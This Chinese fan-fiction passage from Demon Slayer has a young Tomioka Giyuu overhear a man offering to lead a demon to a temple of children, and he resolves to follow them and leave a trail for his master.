“你的意思是你想要让我放你一条生路,作为代价,你要给我找到更多的人吃?” 那个小小的声音颤着嗓子说:“是的!只要你放我一条生路就可以了……旁边的山,很近,那座山下有一个寺庙,寺庙里有很多孩子……你如果不吃我的话,我就带你去那里!” 大一些的身影往前走了一步,他的身形暴露在了月光之下。 他的皮肤是一种不健康的灰白色,和活人完全不同,手指长长的,末端是尖锐的黑色指甲。 富冈义勇连忙躲在了一棵树的后面。 是鬼! 糟糕了,他得去找师父! 打定主意的富冈义勇想走,然而那只鬼开口了:“既然你都这么说了,那么,成交。刚好,像你这么卑劣的人,肉一定也很难吃,我没有胃口。” “带路吧。”鬼说道。 富冈义勇的脚步停了下来。 他不能去找师父……他都不知道师父现在在哪里……如果他去找了师父再回来的话,这只鬼可能就要吃掉寺庙中的孩子们了。 得要靠自己……没有关系的。 自己虽然才刚学习呼吸法,但已经掌握了其中的四招了! 自己一定没有关系的! 富冈义勇深呼吸一口气,他握紧了拳头,眼神也变的坚定了起来。 他要跟上去,还要在路上留下记号。 师父看自己很久没有回来,一定会来找自己的。 自己只要拖到师父来了就可以了!